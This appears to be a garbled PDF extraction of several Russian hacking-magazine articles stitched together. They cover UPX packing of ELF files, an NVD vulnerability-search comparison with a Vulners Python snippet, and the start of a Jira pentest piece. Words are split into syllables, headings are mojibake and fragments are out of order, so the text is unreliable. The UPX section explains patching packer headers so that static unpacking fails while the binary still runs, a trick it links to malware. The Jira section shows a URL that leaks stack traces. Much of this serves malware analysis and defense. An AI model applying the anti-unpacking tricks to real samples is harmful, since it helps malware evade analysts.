про екты, боль ше похожие
на proof-of-concept что-то ста рое

Из упа ков щиков для фай лов ELF в нас тоящее вре мя наибо лее популя рен
UPX (в час тнос ти, сре ди вирусо писа телей), пос коль ку осталь ные пакеры либо

, либо уже 
(оце нить количес тво канув ших в Лету про ектов мож но, полис тав дав ний 

 от Кри са Кас пер ски).

под держи вают пол торы архи тек туры очень дав но не обновля лись
об- 

зор упа ков щиков для Linux/BSD

ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ ÑÐÅÄÍÅÑÒÀÒÈÑÒÈ×ÅÑÊÎÃÎ ÏÀÊÅÐÀ

Кон цепту аль но упа ков щик работа ет так. Код и дан ные прог раммы сжи мают ся
без потерь каким-либо алго рит мом (с исполь зовани ем lzma, zlib
или чего-либо еще), добав ляет ся код, выпол няющий рас паков ку того, что
получи лось, затем добав ляют ся собс твен ные заголов ки, и вуаля — у нас сжа- 
тый бинарь. Схе матич но про цесс упа ков ки пред став лен ниже.

Упа ков ка исполня емо го фай ла

При запус ке такого фай ла нач нет выпол нять ся заг рузчик, отве чающий за рас- 
паков ку сжа того кода и дан ных в память, пос ле чего он переда ет управле ние
в ори гиналь ную точ ку вхо да. Гру бо говоря, получа ется саморас паковы- 
вающий ся архив. Детали реали зации в раз ных пакерах могут раз личать ся —
нап ример, PyInstaller при соз дании exe-фай ла помеща ет упа кован ные дан ные
в овер лей, а заг рузчик находит ся перед упа кован ными дан ными, а не пос ле,
как на схе ме. Более изощ ренные упа ков щики (ско рее боль ше напоми нающие
крип торы), могут еще боль ше усложнять этот про цесс, но в целом это не
меня ет сути.

Как пра вило, получен ный пос ле упа ков ки файл может затем рас паковы- 
вать ся дву мя спо соба ми: либо при запус ке — в память заг рузчи ком, либо же
без его запус ка — путем ста тичес кой рас паков ки. Резуль таты рас паков ки
при этом будут нес коль ко раз личать ся, потому что исполня емый файл, заг- 
ружен ный в память, уже не тот, что исходный файл на дис ке.

THE ULTIMATE PACKER FOR EXECUTABLES

Этот про ект праз дну ет в нынеш нем году 25-летие. Его исходни ки дос тупны
на , он написан на плю сах с при месью ассем бле ра, поэто му раз- 
бирать ся в коде доволь но-таки весело. UPX под держи вает мно жес тво типов
фай лов и архи тек тур — не зря он такой популяр ный. Более того, PyInstaller

 , поз воля ющую при соз дании архи ва упа ковать его
при помощи UPX, тем самым умень шая раз мер резуль тиру юще го фай ла.

Гит хабе

име ет опцию --upx-dir

Как про исхо дит упа ков ка прог раммы в UPX? Вна чале опре деля ется ее
фор мат — PE, ELF, образ ядра Linux или что-либо еще ( , в UPX мож но
паковать даже sh-скрип ты!). Пос ле это го нуж но опре делить архи тек туру,
под которую ском пилиро ван файл. Это свя зано с тем, что заг рузчик, который
называ ется в коде UPX stub loader («заг лушка», стаб), плат формен но зависим.
Его код написан на язы ке ассем бле ра, потому что при сжа тии раз работ чики
ста рают ся эко номить бук валь но каж дый байт и добить ся мак сималь ной ком- 
прес сии. В свя зи с этим быва ет и так, что сам заг рузчик тоже час тично упа- 
кован. Так что UPX под держи вает те архи тек туры, под которые у него есть
реали зация ста ба. Оце нить спи сок архи тек тур и типов фай лов мож но, взгля- 
нув на  в сор цах UPX.

го ворят

со дер жимое дирек тории src/stub
Итак, если архи тек тура упа ковы ваемо го фай ла под держи вает ся UPX, то

для него фор миру ется заг рузчик, сам файл сжи мает ся, и в целом наш сжа тый
бинарь готов. Для воз можнос ти ста тичес кой рас паков ки, которая выпол няет- 
ся коман дой , UPX добав ляет в файл собс твен ные заголов ки.upx -d

Çàãîëîâêè UPX

До бав ляют ся четыре заголов ка, три из которых мож но уви деть в начале
исполня емо го фай ла:

 ( ) содер жит кон троль ную сум му, магичес кие сиг натуры
«UPX!», раз мер и некото рые парамет ры заг рузчи ка;

• loader info l_info

 ( ). В этом заголов ке находят ся раз меры неупа- 
кован ного бло ка  и неупа кован ной (исходной) прог раммы

, которые, как пра вило, рав ны;

• packed program info p_info
p_blocksize

p_filesize
•  ( ) пред варя ет каж дый сжа тый блок и содер жит информа- 

цию о раз мерах до и пос ле сжа тия, алго рит ме (методе), уров не сжа тия
бло ка и дру гих парамет рах. На рисун ке ниже ты можешь видеть по сме- 
щению  сиг натуру ELF: это и есть начало упа кован ного фай ла.

block info b_info

0x110

За голов ки в начале

•  добав ляет ся в кон це фай ла, обыч но занимая нем ного боль- 
ше 0x24 байт в зависи мос ти от вырав нивания. Его выделя ют две сиг натуры

, вто рая из которых выров нена по четырех бай товой гра нице.
В packheader записы вает ся информа ция, необ ходимая самому UPX, что бы
ста тичес ки рас паковать бинарь, не при бегая к коду заг рузчи ка. В нее вхо- 
дят, в час тнос ти, уже наз ванные дан ные — раз мер рас пакован ного фай ла
и некото рые парамет ры сжа тия. В резуль тате это го получа ется некото рая
избы точ ность. Как видим, обве ден ное зна чение сов пада ет с хра нящи мися
в  раз мерами неупа кован ных бло ка и фай ла. Это может нем ного
помочь нам в даль нейшем при рас смот рении спо собов защиты от ста- 
тичес кой рас паков ки.

packheader

UPX!

p_info

За голо вок в кон це фай ла

Ес ли тебе хочет ся луч ше понять про цесс ста тичес кой рас паков ки UPX, то
нарав не с чте нием сор цов ты можешь вос поль зовать ся дебаж ным фла гом.
Тог да ты уви дишь, что на осно ве име ющих ся в бинаре заголов ков упа ков щик
выбира ет фун кцию, которой будет рас паковы вать файл. Здесь наб люда ется
то же огра ниче ние, что и для stub loader: для каких фор матов и аппа рат ных
плат форм они сущес тву ют, те и под держи вают ся. Спи сок весь ма вну шите лен.

UPX переби рает все воз можные фун кции упа ков ки перед тем, как сдать -
ся

Ðàñïàêîâûâàåì ñåáÿ

Что же про исхо дит, ког да бинарь рас паковы вает ся не коман дой ,
а сво им собс твен ным кодом? В этом слу чае за про исхо дящее отве чает заг- 
рузчик. Рас паковы вать он может либо сра зу в память, либо с исполь зовани ем
вре мен ных фай лов с пос леду ющим их запус ком — это будет зависеть от кон- 
крет ной реали зации.

upx -d

В пер вом слу чае, который нас инте ресу ет боль ше в рам ках дан ной статьи,
заг рузчик при помощи хит рой магии выделе ния памяти и наз начения
выделен ным областям памяти нуж ных прав под готав лива ет области для сег- 
ментов ори гиналь ного исполня емо го фай ла — бло ков кода, дан ных, кучи,
сте ка и при необ ходимос ти динами чес ких биб лиотек. В иде але все дол жно
выг лядеть так, что бы запако ван ный файл и не понял, что был упа кован,
и работал целиком и пол ностью так же, как до рас паков ки.

Наб людать про исхо дящее мож но, нап ример, исполь зуя . Цепоч ка
вызовов /  соз дает отоб ражения для сег ментов кода и дан- 
ных рас паковы ваемой прог раммы с нуж ными пра вами дос тупа. Завер шает ся
этот марафон одним вызовом , который приз ван снять отоб ражение
кода заг лушки-рас паков щика. Затем управле ние переда ется в ори гиналь ную
точ ку вхо да и начина ет исполнять ся код прог раммы, которая была упа кова на.

strace
mmap() mprotect()

munmap()

Для при мера вос поль зуем ся прог раммой, которая выводит содер жимое
сво его . Пос мотрим, что она выведет, будучи упа кован ной.
Инте ресу ющая нас информа ция находит ся, как и ска зано, ниже вызова

. Бла года ря  ты можешь так же уви деть, как соз дают ся сег- 
менты прог раммы с нуж ными адре сами и пра вами дос тупа.

/proc/<pid>/maps

munmap() strace

Ар тефак ты в сег ментах

Тем не менее вни матель ный взгляд на  про цес са покажет,
что с его памятью явно что-то не так, — пос ле рас паков ки оста ются некото- 
рые арте фак ты. Как ты можешь заметить ниже, сег менты запущен ного из упа- 
кован ного фай ла про цес са не свя заны ни с каким устрой ством (4-я колон ка
выводит стар ший и млад ший номера устрой ства) или фай лом (5-я колон ка
показы вает номер i-node на соот ветс тву ющем устрой стве, в нашем слу чае
рав ный нулю, пос коль ку исполь зует ся ано ним ное отоб ражение), в отли чие
от про цес са для нес жатого фай ла. Хотя адре са и пра ва сег ментов бинаря
дей стви тель но оди нако вы. А заод но мы уви дим, что при сутс тву ет отоб- 
ражение, явно свя зан ное с запако ван ным фай лом, в нем хра нит ся его пер вая
стра ница и один сег мент вооб ще без каких-либо прав. Для срав нения вывод
неупа кован ной прог раммы выг лядит сле дующим обра зом.

/proc/<pid>/maps

Кар та памяти неупа кован ного бинаря

Дру гой «арте факт» зак люча ется в том, что  про цес са будет
ука зывать на упа кован ный файл, по которо му прог рамма может понять, была
ли она упа кова на.

/proc/self/exe

×òî ïðîâåðÿåòñÿ ïðè ðàñïàêîâêå

Про вер ки необ ходимы, потому что дан ные сжа ты и тут, ров но как в крип тогра- 
фии, изме нение одно го бай та может при вес ти к пор че все го фай ла пос ле
рас паков ки. А в слу чае, если это код, неп ред ска зуемых оши бок при его
исполне нии не миновать. Поэто му хороший пакер про веря ет, соот ветс тву ет
ли то, что он рас паковал, тому, что было упа кова но. Мно жес тво выпол- 
няющих ся про верок мож но поизу чать в исходни ках (а их чис ло дей стви тель но
велико, как и раз нооб разие исклю чений). Так же ошиб ки рас паков ки мож но
спро воци ровать, изме няя бай ты в раз личных заголов ках и ища в исходни ках
соот ветс тву ющие им стро ки, как было сде лано в , пос вящен ной
исполь зованию UPX в линук совых вре доно сах для IoT.

статье

NotPackedException при замене сиг натуры UPX! на 2021

Итак, во вре мя ста тичес кой рас паков ки в пер вую оче редь про веря ются сиг- 
натуры , по которым UPX понима ет, что перед ним запако ван ный им
файл. Затем он смот рит на раз личные кон троль ные сум мы, на зна чения полей
раз меров фай лов и, если файл испорчен, не поз волит так прос то его рас- 
паковать, потому что не смо жет дать гаран тий, что тот будет соот ветс тво вать
ори гина лу. Одна ко же, ког да файл рас паковы вает себя сам, он исполь зует
не те струк туры, которые нуж ны для коман ды . Если знать, что пра вить,
мож но получить такой файл, который будет запус кать ся и работать как ни
в чем не бывало, но при этом рас паковать его в одно мгно вение единс твен- 
ной коман дой уже не получит ся. Давай пос мотрим, как такое мож но про вер- 
нуть.

UPX!

upx -d

ÊÀÊ ÏÀÒ×ÀÒ UPX

Пер вое, что мож но про пат чить в фай лах, упа кован ных при помощи UPX, —
это его сиг натуры. Три сиг натуры могут быть замене ны на любые четыре бай- 
та каж дая, и это го дос таточ но, что бы сбить с тол ку «ваниль ный» UPX. Кста ти,
таков был пер вый рубеж в одном задании для про хода на 

, под робнее о котором мож но почитать .
кон ферен цию

area41 вот в этом рай тапе
Так же быва ет, что в мал варных сем плах зануля ют поля, хра нящие раз меры

фай ла и бло ка. Но при этом порой забыва ют, что это же зна чение хра нит ся
в конеч ном заголов ке , отку да его мож но вос ста новить.packheader

В обо их рас смот ренных слу чаях файл лег ко починить. Одна ко ник то
не меша ет про пат чить то, что поп росту неот куда будет вос ста новить: нап- 
ример, занулить все три раз мера фай ла. Еще мож но уда лить заголо вок

 в кон це фай ла — при этом файл будет прес покой но себе запус- 
кать ся. Либо мож но исполь зовать какой-нибудь кас томизи рован ный UPX,
ведь его откры тые исходни ки рас полага ют и к такому. В общем, сущес тву ет
мас са спо собов сде лать так, что бы файл выг лядел упа кован ным, но UPX
кидал ся исклю чени ями. Тем не менее выход есть и в подоб ных слу чаях...

packheader

INFO

Не могу не упо мянуть доволь но инте рес ный слу- 
чай с упа кован ной мал варью под Linux. Недав- 
но 360 Netlab опуб ликова ли ,
который содер жал кон фигура цию для свя зи
с управля ющим сер вером в неболь шом овер лее
за упа кован ным фай лом. Этот овер лей мешал
ста тичес кой рас паков ке, и, убрав его, мож но
было рас паковать файл. Одна ко тог да при запус- 
ке рас пакован ный семпл отка зывал ся работать,
сетуя на отсутс тву ющую кон фигура цию. Этот
под ход поз воля ет зло умыш ленни кам удоб но
изме нять кон фигура цию без переком пиляции
и пере упа ков ки фай лов.

от чет о вре доно се

Äàìïèì!

Что бы получить рас пакован ный файл, нуж но сна чала решить, в какой момент
его сле дует дам пить. В слу чае UPX нам поможет зна ние о цепоч ке сис темных
вызовов, исполь зуемых заг рузчи ком. Для нас важ но, что в кон це, пос ле под- 
готов ки памяти, вызыва ется . Таким обра зом, что бы сдам пить рас- 
пакован ный в память файл, мож но пос тавить точ ку оста нова пос ле выпол- 
нения это го сис кола, пос мотреть адре са сег ментов памяти и сох ранить нуж- 
ные из них. Зву чит нес ложно. И к при меру, в GDB такой трюк мож но сде лать
в пять команд и даже .

munmap()

офор мить в виде скрип та
При этом сле дует учи тывать, что получен ный дамп будет отли чать ся

от фай ла на дис ке: в час тнос ти, в нем не будет таб лицы сек ций, а сег мент
дан ных, ско рее все го, ока жет ся сме щен ным из-за вырав нивания сег ментов
по гра нице стра ниц. В резуль тате это го сдам плен ный бинарь не будет
работать, одна ко получен ного фай ла может быть впол не дос таточ но для ана- 
лиза его фун кци ональ нос ти в дизас сем бле ре. Для вос ста нов ления запус- 
каемых эль фов сущес тву ют раз личные  и , но, к сожале- 
нию, в боль шинс тве сво ем они так же доволь но ста рые. Еще извес тна схо жая
задача по вос ста нов лению исполня емых фай лов из core dump’ов, име ющая

 и  с некото рыми огра ниче ниями.

про екты ис сле дова ния

proof-of-concept ре шения

Дамп рас пакован ного в память UPX при помощи GDB

Ес ли ты хочешь получ ше разоб рать ся в прин ципах работы UPX под Linux —
ниже нес коль ко полез ных ссы лок.

WWW

, наг лядно показы вающая раз- 
ницу меж ду эль фами на дис ке и в памяти;

•Cтатья от Intezer

 в докумен- 
тации UPX;

•осо бен ности рас паков ки эль фов

так же  «для тех храб рецов, что
отва жат ся пос тичь ассем блер ные заг рузчи ки»;

• не боль шая дока

, выпол няющая эму ляцию и дамп упа- 
кован ных фай лов;

•тул за

док лад  с r2con
2018, пос вящен ный рас паков ке эль фов, упа- 
кован ных неким неиз вес тным пакером,
с исполь зовани ем Radare2. В этом док ладе так- 
же мно го ссы лок на даль нейшую информа цию
по теме, так что инте ресу ющим ся весь ма
рекомен дую к изу чению.

• Unpacking the Non-Unpackable
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Ког да собира ешь ся искать инфу об уяз вимос тях, то пер вое
что при ходит на ум — это база NVD, National Vulnerability
Database. Сущес тву ет нес коль ко сай тов, которые поз воля ют
искать баги из NVD. В этой статье я про верю, нас коль ко
хорошо они справ ляют ся со сво ей задачей. По резуль татам
решим, какой или какие поис ковики луч ше исполь зовать
в пер вую оче редь.

Я в основном занима юсь встра иваемы ми самос борны ми опе раци онны ми
сис темами на осно ве Linux. Поиск уяз вимос тей в ком понен тах этих ОС — нет- 
риви аль ная задача. В сво ем  на PHDays 10 я говорил о том, что приш- 
лось соз дать собс твен ное средс тво для поис ка уяз вимос тей, потому что каж- 
дое из име ющих ся бес плат ных решений меня чем-нибудь да не устра ивает.
Но с тех пор прош ло мно го вре мени, и, ког да готовил док лад, я решил про- 
верить, как обсто ят дела сей час. Так и родилась эта статья.

док ладе

Воп рос об иден тифика ции пакетов, уста нов ленных в сис теме, я обыч но
решаю вруч ную или прос тей шими скрип тами. Так что эту сто рону воп роса я
опу щу. Будем прос то счи тать, что у нас уже есть спи сок все го соф та — наз- 
вания про дук тов и их вер сии.

Ка кие есть вари анты поис ка уяз вимос тей для этих ком понен тов? Будем
рас смат ривать толь ко бес плат ные решения — бюд жет, как всег да, огра- 
ничен:

;• øòàò íûé ïîèñ êîâèê NVD

 — популя рен чуть ли не боль ше самого CVE;• CVE Details

 — спе циали зиро ван ный поис ковик по уяз вимос тям, раз работ чики
которо го заяв ляют, что неп рерыв но добав ляют новые источни ки и даже
исполь зуют ИИ для опре деле ния кри тич ности уяз вимос ти.

• Vulners

ØÒÀÒÍÛÉ ÏÎÈÑÊÎÂÈÊ NVD

По иск на сай те NVD кажет ся хорошим вари антом: кто луч ше зна ет, как искать
по базе NVD, если не ее сос тавите ли? Одна ко сто ит поис кать уяз вимос ти
в ядре Linux, и ока зыва ется, что не все так радуж но.

До пус тим, мы исполь зуем ста рое доб рое ядро 4.14, не забыва ем и пат чим
его до пос ледней на сегод ня (11 апре ля) вер сии 4.14.230. Исполь зуем рас- 
ширен ный вари ант поис ка (Search Type: Advanced). Про верить эту вер сию
в поис ковике не вый дет. Даже вер сия 4.14.200 нез накома NVD, а пос ледняя
из дос тупных — 4.14.194 (21 августа 2020 года). NVD об этом чес тно сооб- 
щает в при меча нии.

Де ло в том, что веб-интерфейс поис ковика поз воля ет исполь зовать толь ко
вер сии про дук тов из сло варя CPE (Common Platform Enumeration). Если про- 
игно риро вать это пре дуп режде ние и вбить нуж ную вер сию 4.14.230, то
по нажатии кноп ки search получим более четырех тысяч уяз вимос тей всех
вер сий ядра Linux.

Не страш но, пусть у нас будет вер сия 4.14.194.
По иско вик выдал 460 резуль татов, доволь но хорошо для такого боль шого

про дук та.
Но поп робу ем обой ти поиск толь ко по извес тным CPE, ведь NVD пре дос- 

тавля ет еще REST API (смот ри ).до кумен тацию в PDF
Фор миру ем сле дующий поис ковый зап рос:

0 
https://services.nvd.nist.gov/rest/json/cves/1.0?cpeMatchString=cpe:
2.3:o:linux:linux_kernel:4.14.194.&startIndex=

Ре зуль таты выда ются в виде фай ла JSON, по умол чанию по 20 штук на стра- 
нице, если не хочет ся все это объ еди нять, то мож но дописать к поис ковому
зап росу такую стро ку:

1400 &resultsPerPage=

Но тут уже надо рас счи тывать на уда чу, сер вер NVD для защиты от DDoS
иног да не отве чает на такие жад ные зап росы. Мне по боль шей час ти вез ло,
и уда валось получать до 2000 резуль татов на стра нице.

В ито ге получа ем доволь но стран ный резуль тат — 1315 уяз вимос тей. Поч- 
ти на тысячу боль ше!

Ре зуль таты поис ка через REST API

Поп робу ем разоб рать ся. Сох раня ем все стра ницы с резуль татом поис ка.
Затем пря мо в Notepad++ ищем все иден тифика торы CVE в HTML и JSON,
сор тиру ем их и срав нива ем.

Да же если выбороч но про верять уяз вимос ти, которых нет в резуль татах
веб-поис ка, сра зу вид но их харак терные осо бен ности.

Веб-вер сия не выводит уяз вимос ти, где иско мый про дукт помечен
как Running on/with, то есть он прос то работа ет сов мес тно с уяз вимым.
Веб-вер сия выда ет нам толь ко уяз вимос ти ядра Linux, а REST API — еще и
уяз вимос ти все го ПО, что работа ет на Linux. Здесь, пожалуй, пре иму щес тво
веб-поис ка налицо. Давай даль ше рас смат ривать резуль таты веб-поис ка
NVD как некий эта лон и пос мотрим, что покажут дру гие два сай та.

Продолжение статьи →

mailto:vul.hack@mail.ru
https://www.phdays.com/ru/program/reports/error-detection-in-the-national-vulnerability-database/
https://nvd.nist.gov/vuln/search
https://www.cvedetails.com/
http://vulners.com/
https://csrc.nist.gov/CSRC/media/Projects/National-Vulnerability-Database/documents/web%20service%20documentation/Automation%20Support%20for%20CVE%20Retrieval.pdf
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CVE DETAILS

Это популяр ный сайт, его ста тис тику мож но видеть во мно гих стать ях и док- 
ладах. Но мож но ли его исполь зовать как поис ковик уяз вимос тей? Конеч но!
И понача лу я был в вос торге от умно го сай та, который из полуто ра тысяч CVE-
шек ядра Linux оста вил мень ше сот ни. Толь ко потом ока залось, что и тут все
не так прос то.

Про буем искать уяз вимос ти, исполь зуем поиск по вер сии и вво дим наз- 
вание ядра сог ласно CPE ( ) и его вер сию.linux:linux_kernel

Ре зуль тат — No matches. Как я понимаю, сайт тоже не зна ет нашу вер сию.
Методом пос ледова тель ного «даун грей да» уда лось выяс нить, что самая
стар шая под держи ваемая вер сия инте ресу ющей нас вет ви — это 4.14.141.
Смот рим на резуль тат: чуть боль ше 50 уяз вимос тей.

Это гораз до мень ше, чем выда ет NVD (470 для вер сии 4.14.141). Срав ним
переч ни най ден ных уяз вимос тей. Раз личия в резуль татах поис ка про демонс-
три рую на двух при мерах: CVE-2019-17351 и CVE-2019-17133.

По чему-то такие оди нако вые по опи санию уяз вимос ти по-раз ному обра баты- 
вают ся. Веб-поиск NVD находит обе уяз вимос ти, а CVE Details толь ко CVE-
2019-17351. CVE-2019-17133 нет в резуль татах поис ка, и нет вер- 
сии 4.14.141 в переч не уяз вимых вер сий в опи сании на CVE Details. При чем
на сай те NVD уяз вимые вер сии для двух этих CVE отоб ражены оди нако во кор- 
рек тно.

При чину такого поведе ния CVE Details мож но най ти на  с опи сани ем
прин ципов работы сай та. Ока зыва ется, сайт берет дан ные из RSS-рас сылки
об изме нении XML-опи сания уяз вимос тей. NVD офи циаль но прек ратила
обновлять XML-опи сания 9 октября 2019 года и переш ла исклю читель но
на исполь зование JSON. Но про пуск уяз вимос тей с этим не свя зан. Пос- 
мотрим глуб же и най дем в архи вах интерне та файл  —
это как раз опи сание всех CVE 2019 года в фор мате XML. Кста ти, поле

 содер жит зна чение , то есть фак тичес ки NIST
про дол жил обновлять XML еще какое-то вре мя пос ле дед лай на.

стра нице

nvdcve-2.0-2019.xml

pub_date 2019-10-15T03:00:00

Так вот, зна чение полей  порази тель ным
обра зом пол ностью соот ветс тву ет тому, что мы видим на cvedetail.com.

vulnerable-software-list

Де ло в том, что раз работ чики NVD рань ше экспе римен тирова ли и для час ти
записей пытались ука зать все уяз вимые вер сии, а для час ти прос то ука зыва ли
диапа зон вер сий (пос леднюю уяз вимую вер сию). CVE Details прос то не уме ет
ана лизи ровать эти диапа зоны.

Для CVE-2019-17133 дей стви тель но изна чаль но ука зан диапа зон вер сий.
Если ска чать еще один файл —  (то же самое опи сание,
но с исполь зовани ем фор мата полей вер сии 1.2, а не 2.0), то там мож но уви- 
деть сле дующее.

nvdcve-2019.xml

Флаг  как раз и озна чает, что уяз вимы все пре дыду щие вер сии,
но почему-то при перехо де с вер сии 1.2 на 2.0 этот флаг потерял ся, и в опи- 
сании вер сии 2.0 уже невоз можно было раз личить, где ука заны отдель ные
вер сии, а где их диапа зон. NIST обновлял обе вер сии опи сания, но кто же
захочет поль зовать ся вер сией 1.2, ког да есть 2.0? Поэто му здесь CVE Details
винить слож но.

prev

Пе реход NVD на JSON пло хо ска зал ся на CVE Details, ста тис тика уяз- 
вимос тей на сай те крас норечи ва.

Еще за 2019 год CVE Details недос читал ся 5000 уяз вимос тей и не было
ни одной уяз вимос ти за 2020–2021 годы, сайт прос то перес тал обновлять ся.
Но до сих пор у него есть пок лонни ки, и в 2020 году некото рые мои зна комые
про дол жали им поль зовать ся, ста раясь не замечать всех накопив шихся
недос татков.

Кста ти, уди витель но, но как толь ко я уже было закон чил работать над этой
стать ей, сайт CVE Details впер вые за пос ледние пол тора года обно вил ся!

Но, к сожале нию, с этим обновле нием была уда лена даже име ющаяся под- 
дер жка вер сий. И теперь, нап ример, и CVE-2019-17133, и CVE-2019-
17351 выг лядят вот так.

Бо юсь, теперь поль зовать ся CVE Details для сколь ко-нибудь эффектив ного
поис ка по вер сиям будет сов сем невоз можно.

VULNERS

Ду маю, об этом поис ковике уже слы шал каж дый, кто в теме. Мне самому он
бли зок из-за откры тос ти, которую про паган диру ют его авто ры. В откры том
дос тупе как отдель ные средс тва для поис ка уяз вимос тей, так и сама база
(прав да, теперь толь ко для иссле дова телей).

INFO

«Хакер» под робно писал о Vulners дваж ды:
в стать ях « » и «

».

Vulners — Гугл для хакера Ищем
экс пло иты из Python, ска ним уяз вимые сер веры
и авто мати зиру ем пен тест

Как ты понял, уже изна чаль но я был пред взят и рас смат ривал Vulners
как явно го лидера.

Поп робу ем поис кать уяз вимос ти нашего подопыт ного ядра вер- 
сии 4.14.194, оставля ем толь ко записи NVD. Резуль тат дей стви тель но удив- 
ляет: все го одна уяз вимость!

На вер ное, опять что-то не так делаю. Поп робую пов торить все то же самое,
но через . Запус тим скрипт для поис ка по иден- 
тифика тору CPE:

Vulners API Python wrapper

 import vulners
 import json

  vulners_api = vulners.Vulners(api_key="Здесь_должен_быть_ключ")
  cpe_results = vulners_api.cpeVulnerabilities("cpe:/o:linux:

linux_kernel:4.14.194")
  cpe_NVD_list = cpe_results.get('NVD')

print("cpe:/o:linux:linux_kernel:4.14.194")
  print(json.dumps(cpe_NVD_list, indent=2, sort_keys=False))

Для получе ния бес плат ного клю ча нуж но зарегис три ровать ся на сай те, и вот
резуль тат — все го 55 уяз вимос тей.

Про бовал искать и по-дру гому.

Но так получа лось еще хуже.

Ви димо, пер вый вари ант поис ка был самым вер ным, срав ним с резуль татами
веб-поис ковика NVD.

Возь мем, нап ример, CVE-2018-7754 и CVE-2018-7755. Пер вая — в обо их
спис ках, вто рая толь ко в NVD. Срав ним их меж ду собой.

По пер вому впе чат лению осо бой раз ницы не вид но,  есть и там
и там.

linux_kernel

Срав нил еще опи сания этих двух уяз вимос тей в JSON, есть воз можность
заг рузить их на сай те для выб ранных уяз вимос тей (см.  и рисунок
ниже).

при мер

Но, чес тно говоря, сущес твен ной раз ницы меж ду опи сани ями CVE-2018-
7754 и CVE-2018-7755 не нашел (диапа зоны уяз вимых вер сий есть и в добав- 
ленных полях , и во взя тых с NVD ).affectedSoftware cpeConfiguration

Поп робую свя зать ся с раз работ чиками Vulners. Может, они что-то под ска-
жут!

ÈÒÎÃÈ

Мы рас смот рели поиск уяз вимос тей по NVD для дис три бути вов, где единс- 
твен ный мей нтей нер — это, воз можно, ты сам и где поиск уяз вимос тей
еще не пос тавлен на поток как в Red Hat или Ubuntu.

По резуль татам срав нения дол жен сде лать вывод, что на дан ный момент
луч ше все го для не «пакети рован ных» дис три бути вов поль зовать ся штат ным
поис ком NVD, но имен но веб-вер сией, она выда ет луч шие резуль таты.

А задавать любую вер сию, даже ту, которой нет в CPE, мож но непос редс- 
твен но в URL-стро ке, нап ример так (номер вер сии — в самом кон це):

https://nvd.nist.gov/vuln/search/results?form_type=Advanced&results_
type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Alinux&cpe_
product=cpe%3A%2F%3Alinux%3Alinux_kernel&cpe_version=
cpe%3A%2F%3Alinux%3Alinux_kernel%3A4.14.999 

Для широко при меня емых дис три бути вов ОС, я думаю, Vulners будет луч шим
вари антом.

Развитие событий
Вот что мне уда лось узнать у раз работ чиков Vulners.

Стро ка поис ка на сай те, как я и пред положил в перепис ке, поз воля ет
находить толь ко уяз вимос ти с точ ным соот ветс тви ем уяз вимой и иско мой
вер сии про дук та. Мож но задавать шаб лон иско мых вер сий ( , 

). А для поис ка тех записей NVD, где ука зан диапа зон уяз вимых вер сий,
нуж но исполь зовать Python API.

1.9* [86 TO 86.
4]

Ал горитм Python API дорабо тали пос ле моего пись ма, и сей час поиск
по CPE выда ет 470 записей, а срав нение резуль татов с сай том NVD прак- 
тичес ки всег да в поль зу Vulners.

Те перь могу сме ло рекомен довать Vulners.com для поис ка по NVD.

На самом деле кое-какие пре тен зии к поис ковикам у меня еще оста лись.
Нап ример, они не най дут уяз вимость CVE-2020-16119, для которой нет пат ча
в upstream ядра. Поэто му, воз можно, мы еще про дол жим этот раз говор.

https://www.cvedetails.com/how-does-it-work.php
https://xakep.ru/2016/07/08/vulners/
https://xakep.ru/2017/11/13/x-tools-vulners-edition/
https://github.com/vulnersCom/api
https://vulners.com/api/v3/search/id/?id=CVE-2018-7755
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ВЗЛОМ

Средс тва раз работ ки и орга низа ции работы — это целый
пласт прог рамм, уяз вимос ти и неп равиль ные нас трой ки
которых могут обер нуть ся бедой для ком пании. Для пен- 
тесте ра зна ние таких багов — это путь к успешной экс плу- 
ата ции, а для адми на — воз можность выс тро ить более
надеж ную защиту. В этой статье я рас смот рю уяз вимос ти
в Jira, Conuence, Asana, Docker, GitLab и подоб ных про дук- 
тах.

INFO

Ре дак ция бла года рит коман ду « »
за помощь в под готов ке статьи.

Ха кер дом

Стан дар тный сов ремен ный цикл раз работ ки сос тоит из мно жес тва эта пов:
пла ниро вание, ана лиз, дизайн, раз работ ка, тес тирова ние, интегра ция, под- 
дер жка... На каж дом эта пе раз работ чики, адми ны, DevSecOps и дру гие спе- 
циалис ты исполь зуют раз ные инс тру мен ты. От гра мот ности нас тро ек этих
инс тру мен тов может зависеть безопас ность про дук та. Часть из них впол не
мож но рас кру тить до уяз вимос тей.

Я возь му нес коль ко популяр ных сер висов, которые исполь зуют ся на раз- 
ных эта пах, и покажу на их при мере, как такое слу чает ся. Боль шую часть
перечис ленно го я обна ружил в 2019 году, так что не жди, что про делан ное
мной мож но будет пов торить на акту аль ных вер сиях перечис ленных прог- 
рамм. Боль шинс тво уяз вимос тей уже зак рыты, но моя цель в дан ном слу- 
чае — про демонс три ровать, как нуж но думать, что бы их обна ружи вать.

WARNING

Вся информа ция пре дос тавле на исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не несут ответс твен ности за любой воз можный
вред, при чинен ный с исполь зовани ем информа- 
ции из дан ной статьи.

JIRA

Jira — это мощ ный таск-тре кер, раз работан ный ком пани ей Atlassian. Его мож- 
но исполь зовать в качес тве баг-тре кера, сис темы рас пре деле ния задач меж- 
ду сот рудни ками и еще мно го чего, но сей час не об этом. Jira исполь зует ся
в мил лионах орга низа ций — вну шитель ное поле для атак! Само собой, не все
адми ны задумы вают ся о безопас ности, а мно гие вооб ще счи тают, что их
орга низа ции никому не нуж ны и ник то их ата ковать не будет. Это обманчи вое
ощу щение!

На ходок у меня мно го, и нач нем мы с самого прос того, но не такого уж
и безобид ного.

Data disclosure

До пус тим, ты нашел сер вис Jira по адре су . Тог да обра- 
щение по урлу  вызовет
выпаде ние стек трей са, как на скрин шоте ниже.

jira.company.hack
https://jira.company.hack/rest/api/2/[]/

Jira stack trace

Чем оно нам может быть инте рес но? Как минимум тем, что мы можем пос- 
мотреть, какие пла гины уста нов лены в Jira. А пла гины, как ты зна ешь, зачас- 
тую куда более уяз вимы, чем само при ложе ние. Кста ти, в Jira тоже час тень ко
попада ются раз ной сте пени серь езности баги, так что из логов мож но дос- 
тать вер сию и про верить, нет ли удоб ной RCE.

INFO

Не менее цен ны и сами пор ты Jira (с 8000-го
по 8100-й): через них мож но непос редс твен но
управлять уста нов ленной сис темой — перезаг- 
ружать, оста нав ливать, тыкать админку и так
далее. В интерне те Jira мно го где тор чит наружу.

Как и любая про мыш ленная сис тема, Jira уме ет мас шта биро вать ся. Дела ется
это за счет пла гинов, которые пишут как офи циаль ные раз работ чики —
Atlassian, так и сто рон ние.

